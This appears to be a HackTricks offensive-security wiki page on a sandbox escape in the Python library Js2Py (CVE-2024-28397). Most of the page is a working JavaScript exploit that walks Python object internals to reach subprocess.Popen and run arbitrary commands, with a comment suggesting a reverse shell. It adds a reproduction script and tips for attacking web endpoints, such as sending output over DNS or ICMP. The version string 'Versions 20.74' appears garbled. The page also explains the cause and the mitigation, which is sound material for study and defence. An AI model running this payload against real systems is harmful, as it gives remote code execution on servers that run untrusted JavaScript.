Js2Py sandbox escape (CVE-2024-28397)

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Js2Py translates JavaScript into Python objects, so even when js2py.disable_pyimport() is used, untrusted JS can traverse Python internals to reach dangerous classes such as subprocess.Popen. Versions 20.74 allow abusing Python reflection primitives that Js2Py exposes to JS objects to obtain RCE from otherwise “sandboxed” JavaScript.

Primitive: pivot from JS object wrappers to Python objects

  1. Get a Python-backed object: Object.getOwnPropertyNames({}) returns a dict_keys object in Python space.
  2. Recover attribute access: grab .__getattribute__ from that object and call it to read arbitrary attributes (e.g., "__class__").
  3. Climb to object: from <class 'dict_keys'> read .__base__ to reach Python’s base object.
  4. Enumerate loaded classes: call object.__subclasses__() to walk every class already loaded in the interpreter.
  5. Find subprocess.Popen: recursively search subclasses where __module__ == "subprocess" and __name__ == "Popen".
  6. Execute a command: instantiate Popen with attacker-controlled arguments and invoke .communicate() to capture output.
Example payload abusing Js2Py to reach subprocess.Popen
// Replace cmd with desired payload (reverse shell / ping / etc.)
let cmd = "id";
let hacked, bymarve, n11;
let getattr, obj;

hacked = Object.getOwnPropertyNames({});            // -> dict_keys([])
bymarve = hacked.__getattribute__;
n11 = bymarve("__getattribute__");                // attribute access primitive
obj = n11("__class__").__base__;                   // pivot to <class 'object'>
getattr = obj.__getattribute__;

function findpopen(o) {
    let result;
    for (let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if (item.__name__ != "type" && (result = findpopen(item))) {
            return result;
        }
    }
}

// Popen(cmd, stdin/out/err pipes...) then .communicate() for output
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
console.log(n11);
n11; // returned to caller if framework sends eval_js result back

Why this works: Js2Py exposes Python object wrappers to JS without stripping __getattribute__, __class__, __base__, or __subclasses__. disable_pyimport() only blocks explicit pyimport, but the above chain never imports anything new; it reuses already-loaded modules and classes in memory.

Reproducing the chain locally

# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})"))                      # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))    # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

Operating against web sandboxes

  • Any endpoint that feeds attacker-controlled JS into js2py.eval_js (for example, a Flask /run_code API) is immediately RCE if the process user has shell access.
  • Returning jsonify({'result': result}) will fail when .communicate() returns bytes; decode or direct output to DNS/ICMP to avoid serialization blockers.
  • disable_pyimport() does not mitigate this chain; hard isolation (separate process/container) or removing Js2Py execution of untrusted code is required.

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks